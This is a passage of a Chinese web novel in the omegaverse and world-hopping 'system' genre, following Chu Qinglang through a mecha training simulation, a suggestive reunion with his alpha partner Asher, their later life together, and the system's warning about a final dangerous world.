被剜去的腺体伤口很难愈合,周围呈现生长的红,但是此时上面满是咬痕,便将那斑驳伤痕全然覆盖。 青年唇微微勾起,眼尾下垂带着柔和意味,眼睫下方是含着柔光的眼眸,明明只是望着游戏,却仿佛是看着自己的爱人一般。 周峥只感觉心脏一阵抽搐,呼吸窒住,眼眶发烫。 他下意识松手抓紧了胸口的衣服。 清脆的声音响起,楚青琅被迫从自己的世界中惊醒。 他扭头看去,只见站在一旁的周峥匆忙的垂头,地上倾倒的赫然是已经最做好的饭。 楚青琅观察了一下,恋恋不舍的将游戏存档。 “不舒服?” 脚筋隐隐发痛,周峥低头收拾着。 “不是,只是有点高兴。” 学长终于不用在那个肮脏的地方生存了。 终于不用被各种目光言语侮辱,不用委屈自己,和他人身体接触。 他又是学校中瞩目的月亮了。 就是这样,月亮只要高高在上就好了,凭什么要被拖进污泥之中。 碎裂的瓷片锋利,将指尖划开,鲜血随之滴落。 楚青琅走到他的面前,将人拉起,却看见那张清俊的面孔上满是泪水。 怎么突然又变回去了? 楚青琅确认了,他一个系统着实对人类细微的感情不敏感。 他真的不理解,当时还疯疯的人怎么现在还哭了起来。 就因为打翻了饭菜? “你……你哭什么?”他转身拽了张纸糊了上去,“我又不会骂你。” 周峥压下突如其来的泪水,接过纸擦脸,举着手说,“不关学长的事,只是手有点痛。” 楚青琅看了一眼他手指上那一道小伤口,又想起他在墨菲斯特受的伤,有点疑惑。 很疼吗? “别弄了,有清理机器人。”他说:“我不饿,你……包扎一下,然后就出去吧。” 周峥攥着受伤的手,点了下头。 * 连绵的玻璃上映出两道逐渐走远的身影。 有人经过他们,疑惑的回头望了一下,又自己摇了摇头。 楚青琅抬手按下帽子,侧头看了一眼自己。 因为他现在并不方便暴露身份,就穿着简单的黑色制式校服,还有鸭舌帽。 帽檐压的低低的,从一旁看去,只能看利落白皙的下颌,还有红唇微翘的唇。 明明并未露出整张脸,但是经过的人却都会在他的身上停顿视线。 仿佛感觉到他的疑惑,周峥在一旁解释道:“是因为学长身上的信息素吧,就算是消散了,也能够显示出那位的强大。” 并不是,只是漂亮的人就算是刻意遮掩,也会显露出那份美来。 但是这些没有必要告诉学长。 楚青琅听着,觉得有理。 两人站在机甲训练室前。 周峥拿出一张卡划了一下,又验证了瞳孔和指纹,门很快打开。 楚青琅一进去,只觉得豁然开朗,从外面完全看不出里面有这么大的空间。 仰头望去,眼前是一架巨大的黑红交织的机甲。 在密集灯光的照射下,散发着金属特有的冷硬光泽。 强大、美丽,一眼便让人心生向往。 “学长,机甲可是新技术,一出现学校就争取到了,非常受欢迎,但是一次只能上一个人。” 周峥走到一旁的机器上操作着什么,随机将其展示在楚青琅的面前。 “这是简单的使用手册,学长快来看。” 楚青琅收回视线,走了过去,那手册上密密麻麻的。 第一眼看见了只有alpha才能操作机甲,第二眼发现赠予方上排名第一的是克莱斯特家族。 周峥站在一旁说:“如果学长支撑不下来,可以叫我,那里面有对讲机……” 他的话楚青琅左耳朵进又耳朵出,没了任务的限制,他对于这个世界的任务都抱着旺盛的好奇心。 只将那些注意事项和操作步骤翻了一遍,楚青琅抬步就向着升降台走去。 距离越近,巨大的物体对于人类的压迫感就越发强大。 楚青琅却完全感觉不到,上去驾驶舱后,舱门自动关闭。 【欢迎登机驾驶员,检测您是初次登机,请确认您已熟悉操作手册,并了解驾驶的危险性。】 温柔嗓音落下,楚青琅点了确认。 【驾驶舱已关闭,生命检测仪已开启,供氧设施正常,温度已调节完成。即将为您安上神经接驳装置。】 【请您忍耐。】 面前是密密麻麻的按键,楚青琅挺直了身躯,暗暗绷紧了神经。 后颈忽然传来刺痛。 这痛楚尖锐,仿佛有匕首在脑海中搅动,神经被割断,扭成一团。 楚青琅后背刷的出现一层冷汗,面容瞬间惨白起来。 时间渐渐拉长,眼前的光芒混沌起来。 不知过了多久,楚青琅才渐渐恢复了意识。 【神经接驳已完成,同步率为60%,级别为优秀。】 【为了得到更好的训练效果,神经接驳会将机甲状态反馈为人体感受,请驾驶者做好准备。】 【请您选择训练场景,模拟即将开启。】 周围漫出凉意,随之,身体内部的痛楚很快消散,转而是一股强大的,充盈的力量感。 楚青琅双眼发亮,他伸出手,玄而又玄的他感觉自己在控制着两具身体。 很快,面前的透明窗口就出现了一只巨大的手臂,五指正随着他的控制而弯曲。 玩了一会儿后,楚青琅才注意到面前排列着各种不同环境的选项。 他顺手点了海上。 面前的选项波纹般扩散消失,下一瞬,眼前一暗。 冰冷湿润的雨滴落下。 楚青琅抬眼,透明窗口映出波涛翻滚的大海,天边乌云密布,雷声大作。 闪电劈下,整个世界骤然亮起,楚青琅忍不住眯了下眼。 密密麻麻的军舰出现在他的视野中,带着帝国的标志,上面安装的炮筒移动,齐齐对准了他的方向。 他张了张嘴:“好真实。” 好有趣! “砰砰砰!!!” 他还在感慨的时间,对面的炮火已然袭来。 尾端曳着亮光,转瞬即至。 楚青琅下意识的交叉举起了手,后退了一步。 海水随着他的动作汹涌动荡起来。 痛感传来,楚青琅的眼眸却越发闪亮。 在下一波炮火即将到来的时候,他控制着机甲,猛地冲了上去。 “刺啦——” 炮筒被硬生生撕下,军舰随之倾覆。 透明窗口旁显现出鲜红字体。 【积分+1,请驾驶者再接再厉!积分到达一百,将被全校通报,并授予奖章。】 刚体会到游戏乐趣的楚青琅很快沉浸在这场游戏中。 只要忽略痛苦,同步率很快就被快速拉高,他越来越得心应手,那些生涩也消失不见。 与此同时,眼前鲜红的数字大幅度上涨,直到来到了九十九。 但是那些被撕碎的军舰都消失不见。 只有依然翻滚的海水,带来刺骨寒意。 双臂肿胀发痛,连带着太阳穴也开始抽痛起来。 楚青琅滚动了下干涩的咽喉,下眼睑一片红,汗水顺着额头滚滚滴落。 “学长,你怎么样?还能坚持吗?我——” 周峥模糊的声音在耳边不间断响起,直到一声尖锐的刺啦声后,一切恢复静谧。 楚青琅警惕望去,心脏砰砰跳动起来。 深邃幽暗的大海下仿佛隐蔽着庞然大物,伺机而动。 血液加快,后背的汗水被四周细密的风吹干,却使得他皮肤发紧,肌肉紧绷。 休憩了一会儿,楚青琅并没有找到什么危险,而最后一积分在哪里也没有找到,他准备取消试炼。 就在打开对讲机时,腰部突然传来巨大的拉力。 制造机甲的材料硬度极高,却在这这未知的束缚下,嘎吱作响。 一道漆黑阴影于海底显现,黑红色的庞大机甲后仰,猛地被海水吞没。 黑暗充斥视野,映入眼帘的,是一面带着吸盘的光滑触手。 楚青琅被带着飞速下移,周围游动的触手闪着诡异光芒。 楚青琅试图反击,却被震的手麻。 但是这也让他确认了拉着他的东西的身份,仿生机械章鱼还是什么乱七八糟的。 是最后一个积分,是不同形状的机甲,是被人操控的。 脑海中,排名第一的资助者——克莱斯特家族,一闪而过。 透过透明窗口,楚青琅努力稳住身子,忽略神经不断传递的窒息感。 他看见了那双庞大的被一圈圈的黄光围绕起来的猩红眼眸。 ——阿舍尔。 第79章 第 79 章 吻。番外 但是阿舍尔不是还在墨菲斯特吗? 这个不是阿舍尔。 顶多, 是克莱斯特家族留下来给学生的“惊喜”。 一个以阿舍尔为本体做成的怪物。 克莱斯特家族对于他,到底什么鬼印象! 海面越离越远,耳边的电光和海浪声消失不见,只有一片粘稠的静谧。 楚青琅听见了自己急促的呼吸声, 他睁大眼睛, 却只感觉到一片的酸涩。 他试图挣脱, 但是那些触手比他更大, 椭圆型的吸盘深红泛紫。 庞大的机甲关节被硬生生的掰开。 触手一圈圈的缠绕在机甲四肢和腰腹上。 软体动物特有的黏腻,攀附在那转角锋利坚硬的外壳上, 流下湿濡的印记。 细小的吸盘看并不明显,但是落在冰凉的金属上,却很快的将所有空气挤压而出,牢牢的粘在表面。 机械巨兽被硬生生的拽着,在怪物触手交缠游动的海中不断下沉。 破碎的表面同样被细微的摩擦吮/吸着。 裸露的金属线条仿佛铠甲下的软肉, 被勒得轻而易举的变形扭曲。 神经接驳装置依然兢兢业业的工作着,将所有的感受全然反馈到楚青琅的神经中,又被身体显化。 他下眼睑的红蔓延到面颊, 身躯不自然的颤栗。 耳边尖锐的警报声连绵不绝。 【系统故障!能量传输发生错误——】 【损伤扩大——30%——40%——请尽快检修——】 深海中, 滑腻触手成圈, 将金属头颅完全包裹,只露出了一双透着锐利蓝光的传感器做成的双眼。 强大的机甲向上冲去, 迅猛雷厉, 却又在转瞬间被牢牢控制。 挟制四肢的触手绷紧。 明明漆黑,仔细望去,却带着透明质感。 “嗡!!!” 属于机械的轰鸣声响起。 冷酷的激光炮和幽蓝的能量剑迸射而出! 但是深海压抑了所有冲击,光芒都散发的有限。 打在柔韧的触手上,毫无伤害。 楚青琅仰头, 只觉得那触手完全勒住了他的下半张面孔。 弹软湿凉的触手压开他的唇,洁白的牙齿露出,唇角绷的泛白,像是狠狠的咬在那漆黑冰冷的触手上。 由人工打造出的精密灵活的四肢,被绞缠的麻木起来。 遮掩不住的痒意顺着皮肉蔓延进骨髓。 他无法控制着自己的身体,被强硬的保持着和外部机甲相同姿势。 理智再也无法强调这是模拟,楚青琅真实的感觉到海水顺着咽喉鼻腔落入肺腑。 呛咳的欲/望却被无形触手堵住。 眼睫被凝成一簇,沿着眼尾贴紧。 眸光混沌,猫一般的呼噜声从胸腔传出。 下坠感陡然停止。 透明窗前,庞大的身躯缓慢破开海水靠近。 刺眼的黄光仿佛熔浆流淌,映得青年面容靡丽慑人。 【中度损坏!中度损坏!请驾驶员尽快退出机甲,以免造成严重伤害。】 警报声急促,红黄光芒交杂在一起。 楚青琅指尖轻动,绷紧的下颌脖颈湿漉,上面满是涎水汗珠。 斑驳陆离的肌肤下,青色筋脉快速跳动着。 细小血珠从毛孔析出,漆黑瞳孔里冷冽光芒闪过。 机甲忽地完全放松起来,仿佛一片花瓣轻飘飘的被机械章鱼捞进了怀中。 巨大的荧黄的机械章鱼眼中,沉睡着一个肤色苍白,面容英俊的alpha。 红黑机甲直直朝他冲去,最后时刻,那苍白的alpha睁开了双眼。 幽黑深海中,透明玻璃被各色光芒映得色彩斑斓。 里面站着一个面容俊美冷淡,双眼惑人的青年。 两人对视,青年伸出殷红舌尖舔舐,于空中落下轻吻。 空荡荡的心脏猝然跳动一瞬。 下一瞬,数据复制体阿舍尔面前白光乍现。 “轰!!!” …… 【积分+1,恭喜驾驶员成为首个集满百分的学员,战绩排名已更新。】 【模拟训练结束,神经接驳装置已回收,请驾驶员注意。】 …… “学长!你怎么样了?!” 驾驶舱门被刷的打开,周峥探出身子担心的询问。 “你已经在里面四五个小时了,通话也没有回音,我都想直接强制暂停模拟了。你没事吧?” 楚青琅耳边依然残留着最后爆炸后的嗡鸣声,听着周峥的话却像是透过玻璃一般模糊。 他想着那边出口走去,只感觉身体虚脱一般,湿透的内衫紧贴肌肤,随着新鲜空气涌进带来一股凉意。 楚青琅弯曲手臂,僵硬的按了按额头。 “没事,就是杀上头了,我们出去吧。” 周峥连忙点头,伸手将他带到升降梯上,随后弯腰就要将他抱起来。 楚青琅伸手推开他手,“不需要,只是暂时的,宿舍里有营养舱,我回去休息休息就好了。” 周峥抿唇,顺从的收回了手,只是仍然执着的握着他的手臂,在升降梯下来后,带着楚青琅朝门口走去。 门刚打开,外面挤挤挨挨的人就齐刷刷的望了过来。 “这就是破了记录的人?” “天!就是这个训练室!” “让我看看,让我看看!!” “是不是开挂了……” “说什么呢?机甲还怎么开挂你以为打游戏啊?” “别挤我,出来了出来了!!!” “帅哥,加个联系方式一起训练啊……” 楚青琅愣了一下,那些人看见他瞬间沸腾起来,伸手就想要和他互加联系方式。 周峥眼疾手快的把帽子给他带上又脱下外套罩在了他的头上,拍开众人,就这样在灼人的视线中走了出去。 直到离开这一栋建筑,他们才将身后的人彻底甩开。 “他们……”楚青琅惊讶道:“怎么这么多人?” 周峥目光复杂的看了他一眼,单手掏开掌端,光屏显现,上面的帖子流水一般更迭。 只瞥了一眼,楚青琅就看见了上面循环播放的加粗字体。 他瞬间明白原因了。 【恭贺我校学生于213号机甲训练室打出百积分精彩战绩!!!】 这就是那个声音说的全校通报? 是不是还有个勋章什么的? 楚青琅又看了一眼下面的帖子,上面最新的是一张照片,周峥的面孔被打了马赛克,只能看见带着鸭舌帽的头被衣服裹住的他的身影。 手上莹白戒指清晰可见。 下面的回帖是猜测纷纭,不少人都认为他一定是一个alpha,就算是有人说自己嗅见了omega的信息素,也直接被忽略掉。 楚青琅:“……” 这些人,还挺无聊的。 他收回目光,站在门前识别开启了大门,抬手将衣服还了过去。 “我先回去了。” 周峥攥住手指中的布料,嗯了一声。 楚青琅没有在乎他的沉默,转身就将房门关上。 他将身上粘哒哒的衣服脱掉,走到了浴室中。 因为alpha经常打架,打起来还都受不住手,再加上军校中的训练都是实打实的见血,所以每一栋宿舍中都有一个修复舱。 楚青琅洗完之后,拿出掌端放在了舱门上。 这样,他就可以在那上面接着玩游戏了。 淡蓝色的液体逐渐充斥视线,只一瞬的窒息后,楚青琅便能够顺利的呼吸。 肌肉过度的疲惫,堆积的酸涩和痛苦如被削下的木屑消失。 眼前那些被他制造出来的小人全都挤在光屏前,摇头晃脑的,担心的望着他。 楚青琅伸手,主系统的火柴手扒拉了一下,又妥协似的让他将自己推了个仰倒。 就这样,一旁的别的系统还上前,排排站在楚青琅的面前,然后被他一个个戳过去,才心满意足的离开。 它们给自己建造房子,开垦土地,或者去别的地方玩耍。 有的建筑材料太重,就会敲敲光屏,发出咚咚的声音,让楚青琅帮助它们。 一个个歪七扭八的建筑拔地而起,还建造的有花园。 花园中的花看不出来什么种类,只有着模糊的颜色。 就像是它们面上的表情,愤怒生气害羞,楚青琅全靠肢体动作猜测。 想到这里,楚青琅饶有兴趣的捏了一个阿舍尔。 黑卷发,苍白的面容出现后,左右看了看,仿佛在好奇,但是很快就原地不动了。 直到楚青琅又捏了一个小青琅,那个小阿舍尔第一时间上前,牢牢抱住笑的眉眼弯弯的小青琅。 两个像素小人在一起贴贴蹭蹭,在他试图分开的时候,一起躲到了树丛里面。 楚青琅拿着009系统投过去,小阿舍尔躲避开,愤怒挥手。 五彩弹窗突然出现,吓得它僵住。 【试用期已结束,请问是否购买正式版本?】 【普通版999,进阶版9999,豪华至尊99999。】 色彩漂亮的弹窗下,小阿舍尔抱着小青琅趴在弹窗上,两人歪着头安静的望着他。 弹窗下面,几个系统和主系统跑来跑去,身后跟着不知道从那来的小鸡。 楚青琅捏着自己的脸颊玩,顺手点了豪华至尊版本。 模拟烟花绽放,小人向他比出爱心。 连像素人物都清晰了不少,活灵活现的。 接着,楚琅跟着它们开垦了一大片土地,建造精细了四栋房子,种了花草,还规划了一下天气。 等他反应过来,天已经黑了下去,第一次玩游戏的系统,很有自制力的把游戏关闭了。 楚青琅从修复舱中出来,身上的不适已经全部消失,就连那些很痕迹也是相同。 他来到窗口,和模拟训练中的天气相同,乌云遮住了月亮,潮湿的气息蔓延,仿佛下一刻就好落下雨来。 只是不知只有他这一个区域会下雨,还是所有的地方都下。 “唰——” 楚青琅拉上窗帘。 洗漱完睡前,他摸着骨戒,打开系统面板又看了看。 发过去的消息依然没有得到回复。 青年就这样安静的睡了过去,骨戒被取下,放到了枕头旁。 轰隆隆!!! 雨水纷纷落下。 一天过去,因为不是永久标记,楚青琅身上属于alpha的信息素已经浅淡了许多。 但是当潮湿的气息弥漫到房间,混着依然牢牢扒在他身上的铁锈信息素,却仿佛为其注进了生命,由浅变浓。 垂下的纱帘外传来嘎吱嘎吱的声音。 雷声大作。 闪电落在地下将一切照亮又迅速归于黑暗。 瞬间,一道人影突兀的于帘后显出,边影扭曲,窥视着房中安静沉睡的青年。 滴答,滴答,滴答。 光芒黑暗交替,那道人影越来越近,直到站在了柔软的床铺前。 苍白泛青的手伸出,向着微颤的睫毛伸去,最终却是悬停在那纤长眼睫上。 良久,那苍白的手指拱起,轻柔擦过眼尾,碰了碰面颊,拿起了放在一旁的骨戒。 就在要帮青年带上时,沉睡的人忽地睁开了双眼,一把攥住了僵住的手腕。 稍一用力,人影便轻松的被拉到了床上。 楚青琅眯着眼,一副还未睡醒的模样,嗓音懒怠。 “从地狱爬出来了?” 风从被打开的窗户钻进,闪电落下,驱散黑暗。 alpha弯曲手肘支在青年两旁,黑发搭下坠在面庞,猩红眼眸翕动,身躯缓缓放软。 周身的水珠滑落,浸湿被子,沉重,冰凉。 落进脖颈脸侧,楚青琅瞬间清醒了许多,张嘴就想让人起来,阿舍尔却垂下了头咬住了他的唇。 “让我亲亲你。” “唔——” 湿凉的舌/搅弄着口腔,细细刮过上颚,带来一阵酥/麻。 冰冷的手贴着脖颈后方,将人拉起。 楚青琅上半身悬空,靠坐在了床头之上,直到感觉到连咽喉都被骚动,他连忙伸手将人推开,捂住嘴愤愤道: “狗吗?舔什么舔?” 阿舍尔带着一身的雨血气,双膝移动上前,将他困在了怀中,嗓音低沉:“我爬出来了,青琅。” 本来只是想安静的看一看青年,然后就回去,等到将自己彻底收拾好后再过来,毕竟现在他刚从军队的袭击中出来,所以身上满是血渍和雨水。 但是谁知道一来到这里看见青年之后,他就完全无法控制自己的行为。 闻言,楚青琅哼了一声,在短促的亮光中,一眼瞧见了alpha身上大片的伤。 像是烧伤,皮肉萎缩,露出里面焦黑的血肉。 他皱了下眉,直接按开了灯光,伸手就要将人拽下床,“去包扎。” 信息素忽地浓郁起来,望过来的猩红眼眸中满是粘稠欲/望,冰冷的手伸进衣衫内,撩拨着他,“你身上好冷。” 怎么可能?被窝里面还是暖的。 楚青琅刚想拒绝,阿舍尔就拉着他的手向后伸了进去,湿热缠绵。 他一下子愣在了原地,阿舍尔低头轻啄他的耳垂,将他压了下去。 “我帮你暖暖好不好?我发烧了,很热。” 楚青琅被气笑了,没想到这个人死里逃生一过来脑子里面就是那些乌七八糟的东西。 他伸手握住攥住他的伤口,鲜血混着雨珠滴落,alpha的身躯僵直了一瞬,又很快放松,动作却粗暴起来,拉过他将人压在了地上。 “好痛,青琅。”他这样说着,英俊的面上却流露出兴奋的神色,眼眸紧缩,“别拒绝我。” 楚青琅正准备放开手,但是随着一个紧缩,他的手又握紧了窗沿,鲜血气混着alpha的气息仿佛一层薄纱罩在头上,呼吸都变得艰难起来。 “放开我!你的伤唔” 阿舍尔对他的话充耳不闻。 窗户一直没有关闭,风雨从外部稍来,砸在身上变得冰凉,让人清醒。 楚青琅仰头看着那露出半边的月亮,一只手紧紧的攥着窗户边框,指尖被挤压的泛白。 他咬牙,“你是不是没有痛觉?!” 阿舍尔箍住他的腰肢,轻吹了一口气,“当然有,但是看见你就只剩下爽了。” 楚青琅双眼微阖,还是放弃了劝说。 算了,这个人自己不在乎自己伤,他还能说什么? 指尖深入发丝,手腕用力,那张嘴就瞬间被堵住,咽喉蠕动着,将所有渗出的雨水混着鲜明的玫瑰信息素咽下。 纱帘不知何时被扯下,将两人全部覆盖 雨过天晴,阳光大好。 金灿灿的光芒顺着大开的窗户落进房间,将床上相拥而眠的的两人照的朦胧。 alpha紧紧的搂着青年,下颌放在柔软的发丝上,呼吸均匀。 腰腹上的伤痕还有手臂上的伤痕已然消失不见,只剩下浅浅的痕迹。 【瞳孔识别中,来人姓名:周峥。】 【备注:学弟。】 【请问主人是否开门?】 楚青琅模糊间听见熟悉的声音,意识刚从深眠中浮现,就被身后的轻拍给拽了回去。 青年蜷缩睡去,侧脸被大臂挤压软肉,看起来可怜可爱。 阿舍尔将被子拉起,盖过两人的头顶,在智能管家的提醒下,紧紧搂着人藏了进去。 枕头上,黑色打卷的发尾勾着在阳光下泛棕的发丝。 玫瑰信息素和冷冽的铁锈信息素交/融成一团,密不可分。 阳光渐渐炽烈。 楚青琅是在窒息的边缘醒来的。 他下意识挣了下身子,但是四肢上的束缚却让他无法动弹。 在这一瞬间,他还以为自己依然在模拟训练中,还处在被那机械章鱼捕获的时候。 冰凉且稳定的呼吸打在脖颈,他微微转动身躯。 一双红眸安静的凝视着他,不知看了多久。 耳边,智能管家的机械声再次响起。 【瞳孔识别中,来人姓名:周峥。】 【备注:学弟。】 【请问主人是否开门?】 楚青琅开口,尾音带着哑意,“你故意的?” 阿舍尔翻身,让他趴在自己的胸膛上,理直气壮,“他不应该这么早过来。” 楚青琅哼笑一声,将被子掀起,坐在了他的腰腹上。 “快起来,你不是还要回去?” 就像是楚青琅说的那样,他确实要回到克莱斯特家族收拢自己的权力。 但是此时,外面有人一直等着。 阿舍尔就像是听不懂,坐起身在青年的脸侧轻吻,咬着柔韧的唇,试图叩开牙关。 换来一个巴掌后,才阻止了心中的醋意继续蔓延。 楚青琅推开人,翻身下床去洗漱,手掌上,不知何时重新带上了个份骨戒。 水流打在白皙肌肤上,仿佛一颗颗樱桃在白瓷上碾碎。 青年上半身赤/裸的青年满是吻/痕咬痕,腰肢两侧还带着掌印,就算是被裤腰截断,也依然可以看见深刻的痕迹,肆意展示着占有欲。 楚青琅穿好衣服走出房门,站在楼梯上停下了脚步。 阿舍尔和周峥正面对面对峙,地上正放着一袋袋的水果蔬菜。 察觉到他的视线,两人一齐抬起了头,周峥的面色并不好,他说:“学长,你想吃什——” 阿舍尔打断他的话,率先上前,“走吧。” 楚青琅走下楼梯,正准备对着周峥说话,但是刚下来就被阿舍尔拥着朝着门外走去,他疑惑问道:“去那里?” 阿舍尔将门打开,外面停着车子,一排穿着西装的人站在别墅两侧,在他们出来的瞬间,弯下了腰。 “回家。” 克莱斯特家族位于半山腰,铁艺栏杆打开,里面的人都迎了出来。 就算是他们已经直到回来的人是杀了自己兄弟的阿舍尔,但是在他找到omega解决了易感期的问题之后,再加上他以前就是按照继承人培养的,所以并没有人敢对此有意见。 就算是有人有,在对上那冷漠的猩红眼眸时,也只能将想法憋了回去。 因此楚青琅下车的时候,望见的只有一片倾佩的目光。 这都有些给他弄懵了。 直到后面得知他们的感叹,楚青琅掐着阿舍尔的面容上下仔细瞧着,“还真的是很吓人的样子。” 不过,顶多眼神凶了一点,神情冷了一点。 仔细看去也很英俊的。 阿舍尔却只是搂住他的腰肢,仰头任他打量,阳光跃进红眸,将其照的通透温暖。 “不吓人,别害怕。” 他像是会害怕的样子? 楚青琅笑着松开手,重新窝进他的怀里玩起了游戏 因为之前在机甲上的训练成绩过高,所以楚青琅还是被学校邀请授予奖章。 他并没有遮挡身上的信息素,直接用被标记的身份站上了领奖台。 下面的人基本都是alpha,非常轻易就察觉到了他的真实身份。 但是在为他颁奖的阿舍尔的信息素压迫下,都乖乖的坐在了原地。 在直播镜头面前。 穿着军装的alpha为他别上奖章,随即后退一步,单膝下跪,向他打开了一个盒子。 里面同样是莹白带着血丝的戒指。 阿舍尔说:“青琅,请你为我带上戒指。” 站在那里的青年穿着黑底银边的制服,垂眼,神情便带着丝丝冷淡意味。 就在众人以为他不会接过去的时候。 修长白皙的手伸来,拿起那枚戒指。 当啷—— 盒子滚落在一旁。 alpha颤抖着握拳,躯体僵硬的仿佛凝固的石像一般,不敢有着丝毫动作。 骨戒被缓缓的套上无名指。 青年弯腰抬起他的下颌,凑近,眼睫疏出温柔眸光,莹润的唇翘起。 在alpha骤然收缩的瞳孔中,深深的吻了下去。 第80章 第 80 章 恶魔。 在这个世界, 楚青琅几乎将任务完全抛在了脑后。 他用omega的身份参军,是帝国机甲百分百适配度的唯一一人,是以最年轻的年龄成为帝国执政官的Omega,同样也永远占据所有新闻的头条。 不管发生什么, 只要和他有关, 就一定会掀起巨大的讨论浪潮。 不过就算是科技已经发展道现如今这个地步, 人类还是不可避免的会走向死亡。 阿舍尔的身体在几十年后, 迅速的衰落下去。 找不出任何病因。 “我们得知克莱斯特家族和执政官先生结婚数十年,携手度过了漫长的时光, 现如今,生命即将走向尽头,执政官先生看起来却并不伤心的样子,两人的感情是否早已破裂,还是执政官另外心有所属, 不知克莱斯特家主重病是否有意外的因素——楚先生!” 一个手持话筒的beta突破保镖的封锁,挡住楚青琅的道路,快速询问:“请问您是去看望阿舍尔·克莱斯特先生吗?您看起来并不伤心, 请问您二位的感情是发生了破裂吗?原因是那位一直追随您的周峥先生吗?还是亚撒家族的家主?毕竟他一直在高调的向您示爱。” 镜头里, 青年依然带着年轻时的俊美, 只是那双过于潋滟的眼眸渐渐沉淀下去,仿若美酒, 越发蛊惑人心。 在看清那双眼眸的瞬间, 主持人恍惚了一瞬。 他在此刻才真正的体会到,被称为帝国玫瑰的omega,到底为何如此盛名不衰。 楚青琅望着镜头,只略微笑了下,眼睫交错时, 显得温柔多情。 “不必要伤心。”他轻声说:“毕竟,我们总会相逢的。” 他的话格外笃定,神情轻松,让人几乎相信了他的话,瞧见了未来两人相见的那一刻。 但是怎么可能? 等主持人反应过来,人已经走远 房门打开,白色的病房墙壁上,播放着他刚刚接受采访的场景。 正对着墙壁,是安静躺在那里的阿舍尔,盯着投影,却因为眼睫过长,乍一望去,仿佛闭目养神一般。 alpha依然冷峻让人心生惧意。 不如说,自从他察觉到自己身体出现问题时,身上的阴郁就越发浓重。 只是看着他,就像是面对海底漩涡一样,让人不敢接近。 但是今天他的精气神却很好,一双眼望过来的时候,竟然带着明显的温柔和轻松。 阿舍尔叫他,手腕身上带着各种仪器。 “青琅。” 楚青琅刚坐在他的身边,就被他捞住了手。 阿舍尔的手更加冰冷了,因为身体的虚弱,搭在手背上时,仿佛木头般粗砺干枯。 楚青琅垂眸看了一眼,弯曲手指用戒指轻轻碰了一下他的戒指。 清脆的响声中,他慢条斯理道:“之前不是还不让我来吗?” 阿舍尔坐起身,将身上的医疗器械慢慢拽下,将人拉了过来。 像以往每一次那样,将楚青琅搂紧。 阿舍尔蹭了下他的发,“抱歉,我只是觉得,有点丑。” 楚青琅安静的靠在他的怀中,倾听着那心脏跳动的声音。 代表生命力的鲜血依然在这具身体中流动,好似完全不知道自己的主人已经走到了尽头。 “那你现在让我过来了,不是前功尽弃了。” 阿舍尔闷声笑了一下,“因为后来想起来,你又不是第一次看见我这种样子,而且,快到时间了。” 楚青琅撑起身子,将手放在他的脸侧,“什么?” 阿舍尔定定的凝着他,眼中满是复杂,“后面很危险。不要去了好不好?” 楚青琅蹙眉,他瞬间想去了主系统给他发的消息。 他打开已经很久没看过的系统面板。 除了主系统,主神竟然也回复了消息,因为时间原因,他只随便打开了一封。 【主神:放心。】 什么意思? 他虽然之前因为担心一直有给主系统发消息,但是还没给主神发过。 难道是因为主神醒了所以连回消息的方式都变了? 冰冷的触感从眉心传来。 阿舍尔揉开他紧皱的眉,低声轻哄,“别害怕,小乖,无论如何,我都会在你身边的。” 但是就算那个世界危险,他也一定会去的。 如果主系统和主神都知道他的路程,那么下一个世界也就是最后的世界。 结局也该在哪里等待着他。 楚青琅放松了眉眼,神情平静下来。 他看着阿舍尔,两人心照不宣的将这件事情忽略了过去。 冰冷的指尖从眉心移开,捧着他的脸,阿舍尔就像是啄木鸟一般在他的面颊下颌轻吻。 最后甚至过分的含住了喉结轻吻。 楚青琅被这痒意弄得浑身轻颤。 他伸手,抓住阿舍尔的发,将人拽起。 两人依在一起,楚青琅被捂住眼,属于alpha的信息素在这一瞬间浓郁起来,夹杂着血腥气。 心跳监护仪器突兀发出警报。 尖锐的声音刺耳,仿佛直接穿过耳膜来到心脏,使其失衡。 压在眼眸上的手失去了血液的滋养,变得枯萎,顺着他的侧脸就要滑下。 楚青琅伸手,将阿舍尔的手紧紧压在了眼上。 …… 黑暗沉重,他打开系统界面,上面强制退出按键显眼。 楚青琅正准备按下,却突然收到主系统发来的视频。 不等他拒绝,蛋形系统就出现在了他的精神域。 “青琅,你先等我和你说,之前你任务失败不是你的问题,那是——” 楚青琅抱着抱枕,站在一旁幽幽道:“他们都是一个人,和之前的我有点关系是吧?” 主系统惊讶的看着他,疯狂点头。 “对对对,就是这样,原本是想要你过去完成任务后主神就会醒了,然后你就可以去无尽星海取出自己的记忆。” 楚青琅揉捏着抱枕,一双眼安静的凝视着主系统,直把它看的磕巴了一下。 “因为你的额,追求者,身份还挺高的。虽然他在小世界中没有自己的意识,但是它的身份还有实力总是佼佼者。” “不过你之前的世界他都是人类,顶多也是碳基生物能够被武器杀死,但是下一个世界不一样。” 主系统严肃脸,“因为那个世界你的追求者的原因,主神空间无法对你实施任何帮助。切记,你不要选择留下,一旦你选择了留下,就只有长久的呆在那里了。” 楚青琅将脸埋到抱枕里,沉默了一会儿后,侧着脸看它,“他是主神?” 主系统身上闪烁的光芒猛地放大,又很快的消失,一直平稳的机械音尖叫鸡一样响起。 “你,你怎么知道?!” 楚青琅伸手推开它的脑门,弯起眼笑了下。 “诈你的。” 之前并没有这种想法,只是在看见主神发过来的那几个字,他突然有了一种熟悉的感觉。 再加上主系统所说的话……能够控制小世界的,能够知道他去往什么世界的人,除了主神还有谁呢? 楚青琅说:“为什么他不来?” 主系统捂着自己被顶凹进去的表面,恍惚道:“现在你见到他,一样很危险,你会被彻底同化的。” 楚青琅失望道:“好吧。那我的记忆?” 主系统身影缓缓消散,“等你从这个世界出来之后,无尽星海稳定下来,你就可以去自己的本源世界。” 楚青琅放开抱枕,舒展了一下身体,就准备重新回去。 但是淡蓝色光屏却在他没有打开的情况下,突然显现在眼前。 【请问是否选择强制退出。】 【是。】 确认的选项被按下。 楚青琅震惊的望着,意识瞬间模糊起来。 * 虚空中,时间犹如胶卷铺满视线。 楚青琅猛地出现,双眼紧闭的落在上面,漾出粼粼涟漪。 他仿佛感到不适,偏了偏脑袋。 时间托举着他缓缓向上,来到一个人影面前,光辉遮挡他的身形,只让人觉得神圣灿烂。 祂轻轻垂头,吻了一下那依然未醒过来的人,发丝如水流一般,落在楚青琅的面颊。 “放开他,别想独占!” 冷怒的声音穿过时间河流,漆黑能量拟成利刃,毫不留情的刺来。 祂却只是轻柔道:“我们等待这么久,一定会留下他的。” “别着急,***” “阻挡好本体。” * “杀……该死的恶魔!” “圣子候选们要来了,一定不能让他这个卑贱的家伙侮辱了圣子们的视线!” 